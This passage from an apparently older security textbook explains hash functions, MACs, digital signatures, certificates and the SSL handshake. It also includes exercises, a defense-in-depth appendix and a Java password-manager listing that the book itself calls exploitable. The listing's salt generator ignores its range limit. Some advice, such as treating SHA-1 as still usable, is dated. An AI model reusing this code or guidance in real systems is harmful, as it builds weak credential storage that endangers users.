protocols are MD5 and SHA-1. MD5 is an acronym that stands for “Message Digest 5,” and it
was developed by Ron Rivest, who also contributed to the development of the RSA asymmetric
cipher. MD5 takes as input multiples of 512 bits. If a message is not a multiple of 512 bits, the
message can be padded such that it becomes a multiple of 512 bits. MD5 produces a 128-bit
message digest as output.

SHA-1 is another hash function that takes 512 bits of input at a time, but its output is
160 bits instead of 128. SHA-1 was developed by collaboration between NIST and NSA.

Over the past few years, there have been some attacks constructed against the collision
resistance properties of MD5 and SHA-1. We briefly discuss these attacks in Section 15.4, after
describing how these hash functions are used in MAC and digital signature schemes.

15.2. Message Authentication Codes (MACs)
MACs can be used to determine if a message originated from a principal that has possession
of a secret key. In particular, Alice and Bob may share a key, k, and Alice may use that key to
compute a MAC on a message, M, which we denote as t = MAC(M,k). Alice can then transmit
M and t to Bob. The value t is often referred to as a tag.

Let M' be the message that Bob receives and t' be the corresponding MAC that he receives.
If Mallory attempts to modify either M or t, Bob can detect any potential tampering by check-
ing whether t' = MAC(M',k). If the equality holds true, it means (with overwhelmingly high
probability) that either the message and signature were not tampered with (M' = M and t' = t)
or that Mallory knows k.

15.2.1. CBC MACs
One way to construct a MAC is to encrypt the message using a block cipher such as AES in
CBC mode. An IV of 0 can be used, and the last encrypted block can serve as the tag. Since
each encrypted block depends on every block before it, one can argue that if either the mes-
sage or the MAC is modified by Mallory, then Bob would be able to detect the modification.

However, it has been shown that MACs based on CBC are not secure in various cases,
such as the case in which Alice needs to send a variable-length message to Bob (see Section 5
of “The Security of Cipher Block Chaining,” by M. Bellare, J. Kilian, and P. Rogaway, for a brief
explanation why). Variants of the CBC MAC—such as OMAC, XCBC, TMAC, EMAC, and
RMAC—have been proposed. Of these, OMAC seems to be secure, and more efficient than
the other alternatives (Iwata 2003).1
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As mentioned in Section 14.1, don’t forget to use different keys for encryption and MACs.
For instance, if the same key that is used for AES CBC encryption is also used to compute an
AES CBC MAC, an adversary would be able to modify an entire message up to the last block
without detection. It would be advisable to call in a security expert for help and advice prior to
deciding which MAC algorithms to use, and to have your code reviewed to make sure you are
not doing anything dangerous.

15.2.2. HMAC
We now describe an alternate MAC algorithm called HMAC. Instead of attempting to build a
MAC based on a block cipher, HMAC uses a secure hash function to compute a MAC. The
security of HMAC is dependent upon the strength of the underlying secure hash function
that is used.

One key difference between a secure hash function and a MAC is that a secure hash func-
tion takes a message as input, whereas a MAC takes a message and a secret key as input. To
construct a MAC from a secure hash function, you might imagine that you could feed both a
key and a message into a hash function as input. However, due to the way that hash functions
work internally, if you were to simply prepend a secret key k onto message M, and use H(k||M)
as a MAC, an attacker would be able to easily compute a MAC for another message, M' = M||N
(where N is of the attacker’s choice), without knowing the key! If M ended with a dollar amount,
such as $10, then the attacker could set N to be a couple extra zeros, and produce M' with a
matching tag.

The HMAC construction is a bit more involved than just prepending the secret key to the
message and hashing. The HMAC construction is as follows:

where K is the key k padded with zeros, and opad and ipad are constants.2 It takes an input
message M of any length, and outputs a MAC that is the same bit length as the output of the
underlying hash function (i.e., 128 bits for MD5 and 160 bits for SHA-1). Often, when HMAC is
used in practice with some underlying hash function X, it is called HMAC-X, such that if, say,
SHA-1 is used as the underlying hash function for an HMAC, it is called HMAC-SHA-1.

Note that the HMAC construction is still fairly simple, and can be expressed in one line,
as shown previously. It is built on the idea that its security is closely tied to the security of the
underlying hash function. If the underlying hash function is secure, then HMAC is secure.
On the other hand, even if the underlying hash function is not as secure as it should be, it is
possible that the HMAC built on top of it might still be secure. HMAC is specified in Internet
RFC2104, and its security analysis is presented in “Keying Hash Functions for Message
Authentication,” by M. Bellare, R. Canetti, and H. Krawczyk.

Note that sometimes MAC tags are informally called “signatures,” although they do not
satisfy the properties of digital signatures (discussed in the next section).
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15.3. Signatures
A digital signature scheme supports two major operations: Sign(M,ks(P)) and Verify(M,sig,P),
where M is a message, sig is a signature, P is the name of a principal, and ks(P) is that principal’s
secret key. A signature is a sequence of bits produced by the Sign() operation, and it has the
property that Verify(M,sig,P) is true if and only if sig = Sign(M,ks(P)) is true (and is false other-
wise, with overwhelmingly high probability).

A signature is a non-repudiable piece of evidence that a principal who has possession of
key ks(P) executed the Sign() operation on message M. Depending upon the specific context,
the signature can have different semantics. For example, M could be an electronic check
that states that “I, Alice, agree to pay you, Bob, $10 from my bank account with number
103842749476.” If Bob is given such a message with an accompanying signature, he may be
able to go to the bank and present both the message and the signature to have $10 put into
his own bank account.

Digital signatures have many applications. In Section 15.5, we show how digitally signed
certificates are used in the SSL protocol. Digital signatures can also be used to sign binary
code—this allows a user to authenticate the source of the code as part of a decision that she
can make as to whether the code is safe to run. In addition, digital signatures can be used to
authenticate the source of an e-mail. We first describe how digital signature schemes based on
asymmetric cryptography work in general, and then we comment on some odds and ends.

We can implement digital signatures using asymmetric algorithms such as RSA, ECC, and
IBE, as discussed in Chapter 13. In the following subsections, we describe how to use asym-
metric encryption operations F and F–1 to implement a digital signature scheme, and we do so
in two steps. First, we introduce two basic functions, S() and V(), which help us do some prim-
itive signature and verification operations, and then show how S() and V() can be used to
implement the Sign() and Verify() operations.

Since asymmetric operations are usually very computationally expensive, instead of
applying them over the entire message M (which could be megabytes or even gigabytes), we
apply asymmetric encryption and decryption operations over the secure hash of the message,
h(M). We can sign a message by decrypting its hash with a secret key:

The reason we decrypt with the secret key is that we only want the signer to be able to
create signatures. However, we want anybody to be able to verify the signature with the public
key. As such, to verify a signature, given a public key, we can use the following test to compute
V(), our verification function:

Note that the preceding expression uses a C-like equality test in which the double-equals
operator returns true if and only if the expressions to the left and the right of the operator have
the same value. If the encryption of s with the public key yields the hash of the message, then
we know the signature is authentic and the expression returns true, or else the signature verifi-
cation fails and V() returns false.
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Note that as per the preceding definition, anyone can verify a signature given the message
(M), a signature (s), and the public key of the signer (kp). However, as mentioned in Section 13.4,
a public key on its own really doesn’t mean very much. Anyone can generate a public/private
key pair, give you their public key, and claim to be Michael Jackson. In order for the verifica-
tion to mean something, a public key needs to be tied to a person’s identity—and a certificate
authority (CA) can be used to help bind people’s identities to their public keys.

15.3.1. Certificates and Certificate Authorities (CAs)
We now introduce certificates and CAs into our digital signature scheme, and show how to
implement the Sign() and Verify() operations using S() and V() as subroutines.

Each principal who would like to construct digital signatures must have her identity
bound to her public key. The principal generates a key pair and then approaches a CA to
request a certificate that attests to the binding. A certificate is simply a document that is digi-
tally signed by the CA.

Before a CA can sign certificates that attest to the identities of others, it first generates its
own public/private key pair and signs a certificate that attests to its own identity. In addition
to containing the name of the principal and a public key, the certificates that we use also store
an expiration date (exp), after which the certificate will no longer be considered valid. Certifi-
cates for principal P will be denoted as C(P), and will have two parts: a text part and a signature
part, denoted as C(P) = (Ctext(P),Csig(P)). Also, we use kp(P) to denote the public key of a princi-
pal, and ks(P) to denote the secret key of the principal. The text part of the certificate that the
CA constructs for itself may look as follows:

The signature part of the CA’s certificate is computed by applying the CA’s secret key to the
preceding text:

Once the CA’s self-signed certificate (sometimes also called the “root” certificate) is con-
structed, it is distributed to all principals such that they all have the CA’s public key. On the
Internet, there are in fact many CAs, and their self-signed certificates are preinstalled in web
browsers when they are shipped. Figure 15-1 shows the list of CAs that have their self-signed
certificates installed in the Firefox web browser, and Figure 15-2 shows the contents of the cer-
tificate for the thawte CA. The certificate shown in Figure 15-2 and those typically used on the
Internet are standardized to use a format called X.509 (Housley et al. 2002).
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Figure 15-1. Preinstalled CA certificates in Firefox
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Figure 15-2. Preinstalled thawte CA certificate in Firefox

A principal such as Alice can approach a CA to obtain a certificate attesting to the binding
between her identity and her public key. Alice can construct the following certificate text and
authenticates herself to the CA using some “out-of-band” mechanism (such as showing the CA
her driver’s license):

Once Alice is authenticated by the CA, the CA signs Alice’s certificate with the CA’s secret
key:

Alice now has a public key certificate, C(Alice) = (Ctext(Alice),Csig(Alice)), which she can use
to prove that kp(Alice) is her public key. Each principal in our system can also obtain such a cer-
tificate to associate her identity with her public key.
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15.3.2. Signing and Verifying
We are now in a position to describe how to implement Sign() and Verify(). A principal, P, can
produce a digital signature, sig, on a message, M, by computing S() with her secret key, and
append her certificate:

We will refer to the individual signature and certificate components of sig as sig.S and
sig.C, respectively. The signature, sig, can be verified by any other party using Verify():

In the preceding equation, we use the discrete logic operator ∧ to imply the logical AND oper-
ation. The conditions A and B must both hold true for A∧B to be true.

The Verify() function checks that (1) the signature component (sig.S) successfully verifies
against the message using the principal’s public key, (2) the principal’s certificate was signed
by the CA, (3) the name of the principal matches the name in the signing certificate, and (4)
the certificate has not expired. Should any of those checks fail, the entire verification fails.

There have been vulnerabilities in which digital signature verifications have not been
performed correctly. For instance, in June 2000, Microsoft fixed a vulnerability in which
Internet Explorer web browsers did not correctly verify the expiration date or the domain
name (principal) for requests from HTML frames or images (see www.ciac.org/ciac/
bulletins/k-049.shtml).

15.3.3. Registration Authorities (RAs)
In the preceding example, the CA signed a certificate for Alice. However, as you can imagine, if
the CA had to authenticate every principal in the system prior to signing a certificate, the CA
could get quite overburdened.

In some systems, the CA can authorize another entity called a registration authority (RA)
to authenticate users. The CA signs a certificate binding the RA’s identity to the RA’s public
key, and then the RA can authenticate principals on behalf of the CA. In such a system, the
signature function is modified to also package the RA’s certificate into the signature, and the
preceding verification function is modified to check the signature on the RA’s certificate. You
could imagine generalizing such a system to allow for an arbitrary number of intermediaries,
where a chain of certificates is verified, each certificate being a link in a chain that leads to the
“root” CA certificate.

There have also been vulnerabilities in which intermediate certificates for RAs have not
been verified properly. In one case, because Internet Explorer did not properly verify interme-
diate RA certificates, it was possible for any web site with a signed certificate to sign another
one for any other arbitrary domain. Internet Explorer would not verify the intermediate
certificate, and as a result would trust the arbitrary domain (see http://seclists.org/
bugtraq/2002/Aug/0111.html). Hence, it is important to be extremely careful when verifying
signatures in even moderately complex systems.
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15.3.4. Web of Trust
Digital signatures can also be used to sign electronic mail, as in the Pretty Good Privacy (PGP)
system developed by Phil Zimmerman. However, requiring every user to purchase a certificate
from a CA (or even RA) could be quite costly. Instead, PGP allows for a “web of trust” model in
which users sign their own certificates, and users sign each other’s certificates to establish
trust. If you receive an e-mail that is signed by someone you do not know, if the two of you can
find a certificate chain to someone that you may know in common, then you may be able to
have some level of trust when verifying each other’s signatures. However, in general, trust is
not a transitive property, and the longer the chain, the less you may be able to trust the valid-
ity of the signature.

15.4. Attacks Against Hash Functions
Security researchers have devised approaches that can find pairs of input strings that result
in the same hash (Wang, Yin, and Yu 2005). As of the writing of this book, to find a collision
against SHA-1, approximately 263 hash computations need to be performed. While the use of
SHA-1 may continue to be secure for some applications (such as HMAC-SHA-1), it may be
acceptable only in the very near future. The attacks against MD5 are more serious, and you
should probably transition away from it immediately, if you have not done so already.

Hash functions are widely used in the MAC and digital signature schemes that we
described in this chapter. Since the attacks are collision attacks, not pre-image attacks, all is
not lost. An attacker would not be able to use these attacks to fake an arbitrary digital signa-
ture on an existing document. However, an attacker that has access to lots of computational
power may be able to use these attacks to construct two new documents that result in the
same hash, obtain a digital signature on one of them, and claim that the other was signed.
Nevertheless, the security landscape continues to change as new attacks are discovered from
time to time, and we provide a section of our web site, www.learnsecurity.com/ntk, dedicated
to keeping you up-to-date on the security of hash functions.

As a result of some of these attacks, NIST has recommended that SHA-1 be phased out by
2010 in favor of newer variants of SHA, such as SHA-256 and SHA-512. SHA-256, like SHA-1,
takes 512 bits of input, but produces 256 bits of output. SHA-512 takes 1024 bits of input and
produces 512.

15.5. SSL
While we mentioned SSL as early as in Chapter 1, we only now have covered all of the neces-
sary background to explain how it works. SSL uses both symmetric and asymmetric crypto-
graphy, as well as signatures and MACs to provide authentication, confidentiality, and mes-
sage integrity between a client and a server. We only provide a high-level summary of how SSL
works here. In some parts of our explanation, we sacrifice pure technical accuracy for clarity
of the explanation. For more details, see Eric Rescorla’s “SSL and TLS,” and the SSL/TLS speci-
fication (Dierks and Rescorla 2006). In the remainder of this section, we use notation for
protocol messages similar to that in the SSL/TLS specification.

In the following discussion, we describe the steps required in a full SSL handshake. A
handshake, in our context, is the set of steps that a client and server must execute in order to
start exchanging sensitive application-level data. The goal of the handshake is for the client
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and server to agree upon a master secret that can then be used to compute symmetric keys for
encryption and message authentication. As part of the handshake, the client and server will
first agree upon a pre-master secret, which is then used to compute the master secret.

In a full SSL handshake, two round trips are required before the client and server can start
exchanging application data.3 In the first round trip, client and server “hello” messages are
exchanged. These messages are used between the client and server to trade information about
what versions of the SSL protocol they support and what cryptographic algorithms they sup-
port, and to exchange some random values that are used in computing the master secret and
proving the “freshness” of the handshake. If the client is to authenticate the server, the server
is expected to send the client its public key certificate in the second half of the first round trip.
When the client receives the server’s certificate, it validates the certificate by verifying the CA’s
signature on the certificate. It also checks that the domain name specified in the certificate is
the domain name to which it connected.

The exact messages that are exchanged next depend upon whether only the server or
both parties are to be authenticated, and which algorithms are to be used for key agreement
and authentication. Let us consider the server-authenticated-only case first. See Figure 15-3
for an illustration of the messages that are exchanged between the client and server in the
server-authenticated-only case.

15.5.1. Server-Authenticated-Only
In the server-authenticated-only case, the client sends a ClientKeyExchange message to the
server after receiving the server’s certificate.

Figure 15-3. Server authentication in SSL

If, for instance, RSA is to be used for key agreement, then the client generates a random
value to be used as a pre-master secret, and encrypts the pre-master secret with the server’s
public key. The encrypted pre-master secret is sent to the server in the ClientKeyExchange
message. The server decrypts the pre-master secret with its private key, and the pre-master
secret is now known to both parties.
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Once the pre-master secret has been determined, the client and server compute some
hashes of it that include the random bytes exchanged in the hello messages to arrive at the
master secret. DH can also be used for key agreement, but the contents of the ClientKey-
Exchange will then instead contain parameters similar to those described in Section 14.4.2.
Once the master secret is determined, both a symmetric session key and an integrity key are
derived from the master secret using a key derivation function specified in the SSL protocol
specification.

If the server did not possess the appropriate private key, it would not be able to decrypt
the pre-master secret, and would not be able to continue communication with the client as all
messages including and after the Finished message, are encrypted with a key derived from the
pre-master secret. Once the server has been authenticated, the browser typically displays a
lock, and the user can be sure he is communicating with the domain name specified in the
address bar of the browser.

15.5.2. Mutual Authentication
The messages exchanged in the mutual authentication case are shown in Figure 15-4. After
the ServerHelloDone message is received, the client sends its certificate to the server.

Figure 15-4. Mutual authentication in SSL

If RSA is to be used for key agreement, the client transmits a ClientKeyExchange message
to the server, just as in the server-authenticated-only case, but then sends a CertificateVerify
message to the server containing the client’s signature on all handshake messages, starting
from the ClientHello message up to (but not including) the CertificateVerify message.

After the appropriate Certificate, ClientKeyExchange, and CertificateVerify messages are
sent by the client as needed, the pre-master secret is set. The master secret is then computed
from the pre-master secret, and the client and server transmit the ChangeCipherSpec and
Finished messages. Both parties can then start exchanging application data encrypted with
the master secret.

Much thought has gone into the design of SSL, and its mechanisms prevent a large variety
of attacks. For instance, a man-in-the-middle may try splicing in and replaying data from pre-
vious sessions in an attempt to take over a conversation, or a malicious client may attempt to
coerce a server into using weaker encryption algorithms by claiming it does not support
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newer ones. In addition to defending against such attacks, SSL supports various performance
optimizations—for example, once a client and server have successfully completed a hand-
shake, they can cache security parameters that they have already negotiated and resume a
previous conversation without having to redo a full handshake even if they initiate a new TCP
connection. If you require authentication, confidentiality, and/or message integrity between a
client and server, you should strongly consider reusing SSL instead of attempting to build a
protocol of your own.
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Exercises for Part 3

The exercises in this section will help test your understanding and give you some practical
experience with the topics covered in Chapters 12 through 15. If you have been reading
through all the chapters in this book, and you complete all (or at least most) of the exercises,
including the ones listed here, you will be well on your way toward being a security-conscious
programmer!

1. Smarti Pants Hellerstein is a software developer who believes he can improve the secu-
rity of DES by changing how its internals work. Should he do it? Provide three reasons
why he should or should not implement his ideas in his company’s production system
that supports 10 million users.

2. List three differences between AES and Triple DES. 

3. In Table 16-1, label each of the algorithms as one or more of the following: (a) symmetric
encryption algorithm, (b) asymmetric encryption algorithm, (c) hash algorithm,
(d) stream cipher, or (e) block cipher. Also specify how many inputs each takes,
whether the inputs must be a required size or if they are variable, what number of bits
the inputs are expected to be, and what the output number of bits is. Note that we may
not have covered all of this information in the text. You are encouraged to consult any
security text or the Web to complete the chart. 

Table 16-1. Taking Stock of Crypto Primitives Exercise

Algorithm Label(s) Inputs Input Sizes Output Size

AES

Blowfish

SHA-256

RC4

Skipjack

DES

A5

MD5

RSA

Triple DES

IDEA
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4. List three advantages/disadvantages of using a web of trust model vs. using a certifi-
cate authority–based trust model. 

5. Extend the AESEncrypter program of Section 12.1.6 to compute and verify a MAC on
the message in addition to encrypting and decrypting data. Be sure to use different
keys for the encryption and MAC computations. 

6. State how you can use symmetric encryption to achieve (a) authentication, (b) confi-
dentiality, and (c) message integrity. 

7. Write a Java program that computes HMAC-SHA-256. Use the Mac class in the Java
Cryptography library. Do not write a program that constructs HMACs using the
MessageDigest class, or attempt to write your own implementation of a hash function!
Your program should accept a key file as a command-line argument (similar to the
AESEncrypter program in Section 12.1.6), and should use the standard input and out-
put streams. The program should output a base64- or hex-encoded 256-bit keyed
hash of its input.

8. Learn about the openssl and/or Java keytool command-line utility programs. Use
them to generate an RSA key pair, and generate a certificate-signing request that you
could submit to a CA.

9. Add a secure logging feature to SimpleWebServer. The secure logging feature should
write an “integrity check” code to each log entry. Use a MAC to protect each record and
the entire file. What are the performance challenges in including such functionality?
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Defense-in-Depth:
The FLI Model

In this appendix, we provide a brief review of security techniques that can be used to achieve
defense-in-depth, and suggest a very simple way in which you can categorize the threats to
and defense mechanisms for your software.1 In this appendix, we do not consider a particular
application, but you can apply our categorization technique to any application. 

Programmers need to address many types of security concerns when designing systems.
Some of these concerns can be categorized as threats involving failure (F), lies (L), and infiltra-
tion (I). Hence, we call our framework “FLI.” 

As we present defense techniques, we will also discuss whether they allow a system to
prevent, detect, contain, and/or recover from the FLI security problems. We do not cover each
of these security techniques in detail here, but we do cover the basic ideas and provide refer-
ences to papers and books that you can read to learn more. Such techniques are written in
italics, and bibliographic references to where you can learn more are listed in Section A.6.
Keep in mind that many ideas or techniques may fall in different “regions” of our map, so
there is more than one way to organize the constituent components. 

To start with, by “failure” we mean the halt of processing of one or more system compo-
nents as a result of expected or unexpected shutdown or malfunction. For example, a file
server may temporarily fail due to a user inadvertently kicking the power cord. A user or node
“lies” when it provides false information or pretends to be someone else. For example, two
inventors may both claim that their invention was submitted first to an online patent registra-
tion system. In an infiltration, an adversary attempts to “break into” the system and use one or
more resources or capabilities available to the system to his advantage. For example, an adver-
sary may want to infiltrate a Microsoft Exchange e-mail server to cause it to attach a virus to
all outgoing e-mails. In this example, the server’s ability to send mail to users is the capability
that the adversary takes advantage of.

Note that there are relationships between these various threats. For example, infiltration
can be used to cause a failure. Similarly, lying can be used to infiltrate a system. 
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1. This appendix was written with input from Dr. Hector Garcia-Molina at Stanford University, and is
based in part on work done toward Neil Daswani’s Stanford PhD dissertation, “Denial-of-Service
Attacks and Commerce Infrastructure in Peer-to-Peer Networks.” The FLI model suggested in this
appendix was originally applied to identify that sufficient techniques for attack containment in peer-
to-peer networks were lacking, and the bulk of the dissertation focused on the development of such
techniques, as opposed to the development of the FLI model itself.
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Most tools and techniques that security designers have invented generally attempt to do
the following:

• Prevent security concerns from ever becoming a problem by designing the system to
make it theoretically or practically impossible for the problem to occur

• Detect the problem such that administrators, users, or other software can be made
aware of the problem

• Contain the problem once it occurs such that the system can continue to function cor-
rectly even in light of the problem

• Recover from damage that has been caused by the problem after the problem has
occurred

Table A-1 shows several tools and techniques that can be used to prevent, detect, contain,
and recover from failure, lies, and infiltration. 

Table A-1. The FLI Framework

Failure (Process/Storage) Lies Infiltration

Prevention Physical Security Authentication Firewalls
Uninterruptible power Access control
Firewalls Non-repudiation

Timestamping
Digital signatures

Detection Watchdog processors Fail-stop digital signatures Virus scanners
Polling Tripwire
Beacons

Containment RAID Byzantine agreement Intrusion tolerance
Nonstop processes Reputation systems Virus cleaners
Fault-tolerance
Replication
Backups

Recovery Failover Auditing Certificate revocation
Hot swapping
Key escrow
Rebooting/restarting

A.1. Protecting Against Failure
Under the “Failure” column of the table, we have listed various tools and techniques that can
be used to prevent, detect, contain, and/or recover from failure of system components. Repli-
cation, for instance, helps contain failure of a storage device by creating copies of information
on other storage devices. If a particular storage device fails due to, for example, a head crash,
an earthquake, or an adversary who causes physical harm to it, the loss can be “contained” by
retrieving the information from a storage device that replicates it. 
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Even if a piece of information has been lost due to failure, it is possible to recover from
the problem. Assume that a user has encrypted many files with her private key and that she
stores her private key on a floppy disk. The floppy disk can fail for one reason or another,
thereby making it potentially impossible to decrypt her files. We can recover from the situation
by taking advantage of key escrow techniques to salvage the user’s private key and any infor-
mation that may have been encrypted with it. 

A.2. Protecting Against Lies
Under the “Lies” column of the table, we list various security techniques that can be used to
deal with both users and adversaries who attempt to “lie” to a system. Consider the use of
digital signatures, which can prevent users from lying about statements that other users make.
(Digital signatures are covered in more detail in Chapter 15, and more references are given in
Section A.6.) A system that employs digital signatures may require users to digitally sign state-
ments, thus preventing tampering with those statements. For example, assume that Alice
wants to say “Here is the answer to your query” to Bob, but can only communicate with Bob
through Mallory. Alice sends a message containing the answer and her digital signature on
the message to Mallory. If Mallory attempts to modify Alice’s message, Bob will notice that the
digital signature does not match the message. Hence, digital signatures prevent Mallory from
lying about what Alice said. 

If we are unable to prevent lies, we can design the system so that it can tolerate lies without
affecting the correctness. To “contain” lies, a Byzantine agreement protocol can be used such
that even if Mallory modifies a message that Alice wants to pass on to Bob, all the people
involved in a decision can come to agreement. Byzantine agreement protocols can guarantee
agreement so long as the number of people involved in the decision is greater than three
times the number of liars, and all participants can communicate with one another without
restriction. 

A.3. Protecting Against Infiltration
Tools such as firewalls and certificate revocation help a security designer defend against
attempts at system infiltration. Firewalls are composed of one or more system components
that prevent an adversary from “breaking into” computers within the perimeter of the firewall,
such that data and computational resources available within the perimeter of the firewall can-
not be used to an adversary’s advantage. (Firewalls can also be used to prevent failure due to
some types of DoS attacks.2)

Once a system has been infiltrated, a technique such as certificate revocation may help us
recover from the infiltration. If an adversary gets access to and compromises a user’s private
key after a system infiltration, certificate revocation allows us to break the association
between that user and his public key, such that the private key becomes ineffective. 
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A.4. Other Techniques
Additional relevant security techniques have also been added to the appropriate cells of
Table A-1 to show that a wide variety of techniques fit well within the context of the FLI frame-
work. At the same time, we realize that the cells in Table A-1 do not have absolutely precise
boundaries, and it is sometimes arguable as to whether a given security problem or solution
fits into one cell or another, or may even span across multiple cells. However, we find the FLI
framework useful to conceptually organize the space of threats and countermeasures. 

A.5. Using an FLI-like Model
In our description of the FLI model using Table A-1, the threats, or possible attacks, make up
the columns of the table; and prevention, detection, containment, and recovery make up the
rows. Inside the cells of the table are defense mechanisms that can be employed. While the
description of the threats in Table A-1 is fairly generic, you can apply a FLI-like model to your
particular application by writing out the threats as the columns. For instance, let’s say that you
run an e-commerce site with a database back end that allows users to log in with a username
and password. Some threats that you might be interested in defending against are phishing,
dictionary attacks, and SQL injection—these would make up the columns of your table. For
each of these threats, you should have prevention, detection, containment, and recovery
measures listed in the rows of the table to work toward truly employing defense-in-depth. 

You can use various countermeasures to achieve defense-in-depth, and write the ones
that you are using in the cells of the table. For instance, you could use image authentication
to prevent phishing attacks (see Section 9.6.9). You could also use techniques to contain the
possible effect of phishing attacks. For instance, if you’re securing a bank, you might avoid
enabling online bill payment by default for your customers, and instead require them to call
into the bank to enable bill payment for the first time. In addition, you can look for anomalous
bill payment requests (e.g., for more than a certain dollar amount to a newly added payee).
Doing such checks can help contain the effect of a phisher getting ahold of a legitimate user-
name and password. After you have filled in the table with all of the techniques that you are
currently using, the table format should help you identify cells that are empty or inadequately
filled-in as compared to the others. This will tell you that you may need to implement addi-
tional countermeasures to round out a security strategy that employs defense-in-depth. You
can also decide the appropriate percentage of effort for your business to spend on prevention,
detection, containment, and recovery, and make sure that your investment in various types of
countermeasures is commensurate with your intended effort.

A.6. References
This section provides a sampling of bibliographic references for each of the techniques
described in this appendix. More detailed information on each reference can be found in
the References section.
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Key escrow techniques: Abelson et al. 1998; Balenson et al. 1994; Bellare and Goldwasser
1997; Blaze 2002; Denning 1995; Denning and Branstad 1996; Kilian and Leighton 1995;
Knudsen and Pedersen 1996; Lenstra, Winkler, and Yacobi 1995; Nechvatal 1996; Shamir
1995; Walker 1994; Walker et al. 1995

Digital signatures: Davies 1983; Davies and Price 1980; Davies and Price 1984; Matyas
1979; Merkle 1990; Mitchell, Piper, and Wild 1992; Rabin 1978; Rabin 1979; Rivest, Shamir,
and Adelman 1978

Byzantine agreement protocol: Castro and Liskov 1999a; Castro and Liskov 1999b; Dolev
et al. 1982; Feldman and Micali 1998; Galil, Mayer, and Yung 1995; Garay and Moses 1993;
Garcia-Molina, Pitelli, and Davidson 1986; Gray 1990; Lamport 1983; Lamport and Fischer
1982; Lamport, Shostak, and Pease 1982; Malkhi and Reiter 1997; Mohan, Strong, and
Finkelstein 1983; Perlman 1988

Firewalls: Bellovin 1999; Cheswick and Bellovin 1994; Gunter and Jim 2000; Kocher 1998;
Kopetz 1996; McDaniel and Jamin 2000

Certificate Revocation: Merkle 1990; Micali 1996; Naor and Nissim 1998; Oppliger 1997;
Ranum 1993; Wright, Lincoln, and Millen 2000; Zwicky, Cooper, and Chapman 2000

Auditing: Bishop 1995; Bishop, Wee, and Frank 1996; Chambers 1981; Davies 1990;
Hansen 1983; Jajodia et al. 1989; Kelsey and Schneier 1999; National Computer Security
Center 1996; Picciotto 1987; Scott 1977; Seiden and Melanson 1990

Intrusion detection: Debar, Dacier, and Wespi 1999; Denning 1986; Kumar 1995; Lee and
Stolfo 1998; Lee, Stolfo, and Chan 1997; Lee, Stolfo, and Mok 1998; Lee, Stolfo, and Mok
2000; Lunt 1988; Lunt 1993; Mukherjee, Heberlein, and Levitt 1994; Ptacek and Newsham
1998; Schneier and Kelsey 1999; Sekar et al. 1999; White, Fisch, and Pooch 1996; Zhang
and Lee 2000

Non-repudiation: Coffey and Saidha 1996; Markowitch and Kremer 2001; Markowitch and
Roggeman 1999; Schneider 1998; Taylor 1996; Zhou and Gollmann 1996a; Zhou and Goll-
mann 1996b; Zhou and Gollmann 1997a; Zhou and Gollmann 1997b; Zhou and Gollmann
1998
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Source Code Listings

This appendix shows the full source code listing for the password manager and password file
classes used in Chapter 9. (Note that all of the source code used in the book is also available at
www.learnsecurity.com/ntk.) In the listing that follows, we include code for two versions of a
password file class. The HashedPasswordFile class stores passwords that are simply hashed
using SHA-256. The HashedSaltedPasswordFile class stores a salted hash of the password. The
init() and flush() methods in MiniPasswordManager can be modified to specify which version
of the password file class should be used. Of course, the add() and checkPassword() methods
need to be modified to match as well. Finally, please note that this code is meant for instruc-
tional purposes only (and can be exploited; see, for example, exercise 6 in Chapter 11); do not
use this code as-is in a real system.

/*********************************************************************** 
MiniPasswordManager.java 

Copyright (C) 2006 Neil Daswani 

This class implements a MiniPasswordManager that can be used by
other applications. You must call init() prior to calling 
checkPassword(), or add(). 

This file is also available at http://www.learnsecurity.com/ntk
***********************************************************************/ 

package com.learnsecurity; 

import java.util.*; 
import java.io.*; 
import java.security.*;

public class MiniPasswordManager {

/** dUserMap is a Hashtable keyed by username, and has 
HashedPasswordTuples as its values */ 

private static Hashtable dUserMap; 
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/** location of the password file on disk */ 
private static String dPwdFile; 

/** chooses a salt for the user, computes the salted hash 
of the user's password, and adds a new entry into the
userMap hashtable for the user. */

public static void add(String username, 
String password) throws Exception { 

int salt = chooseNewSalt(); 
HashedPasswordTuple ur =

new HashedPasswordTuple(getSaltedHash(password, salt), salt); 
dUserMap.put(username,ur); 

}

/** computes a new, random 12-bit salt */
public static int chooseNewSalt() throws NoSuchAlgorithmException { 

return getSecureRandom((int)Math.pow(2,12)); 
}

/** returns a cryptographically random number in the range [0,max) */ 
private static int getSecureRandom(int max) throws NoSuchAlgorithmException { 

SecureRandom sr = SecureRandom.getInstance("SHA1PRNG"); 
return Math.abs(sr.nextInt());

}

/** returns a salted, SHA hash of the password */
public static String getSaltedHash(String pwd, int salt) throws Exception { 

return computeSHA(pwd + "|" + salt); 
}

/** returns the SHA-256 hash of the provided preimage as a String */ 
private static String computeSHA(String preimage) throws Exception { 

MessageDigest md = null;
md = MessageDigest.getInstance("SHA-256"); 
md.update(preimage.getBytes("UTF-8")); 
byte raw[] = md.digest();
return (new sun.misc.BASE64Encoder().encode(raw)); 

}

/** returns true if the username and password combo is in the database */
public static boolean checkPassword(String username, String password) { 

try {
HashedPasswordTuple t = (HashedPasswordTuple)dUserMap.get(username); 
return (t == null) ? false :

t.getHashedPassword().equals(getSaltedHash(password,      
t.getSalt())); 

} catch (Exception e) {
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}
return false; 

}

/** Password file management operations follow **/ 
public static void init(String pwdFile) throws Exception { 

dUserMap = HashedSaltedPasswordFile.load(pwdFile); 
dPwdFile = pwdFile; 

}

/** forces a write of the password file to disk */
public static void flush() throws Exception { 

HashedSaltedPasswordFile.store (dPwdFile, dUserMap); 
}

/** adds a new username/password combination to the database, or
replaces an existing one. */

public static void main(String argv[]) { 
String pwdFile = null;
String userName = null;
try {

pwdFile = argv[0]; 
userName = argv[1]; 
init(pwdFile);
System.out.print("Enter new password for " + userName + ": ");
BufferedReader br = 

new BufferedReader(new InputStreamReader(System.in)); 
String password = br.readLine(); 
add(userName, password);
flush(); 

} catch (Exception e) {
if ((pwdFile != null) && (userName != null)) { 

System.err.println("Error: Could not read or write " + pwdFile);
} else { 

System.err.println("Usage: java " +     
"com.learnsecurity.MiniPasswordManager" + 
" <pwdfile> <username>"); 

}
}

}
}

/** This class is a simple container that stores a salt, and a 
salted, hashed password  */

class HashedPasswordTuple { 
private String dHpwd; 
private int dSalt; 
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public HashedPasswordTuple(String p, int s) { 
dHpwd = p; dSalt = s;

}

/** Constructs a HashedPasswordTuple pair from a line in
the password file. */

public HashedPasswordTuple(String line) throws Exception { 
StringTokenizer st =

new StringTokenizer(line, HashedSaltedPasswordFile.DELIMITER_STR); 
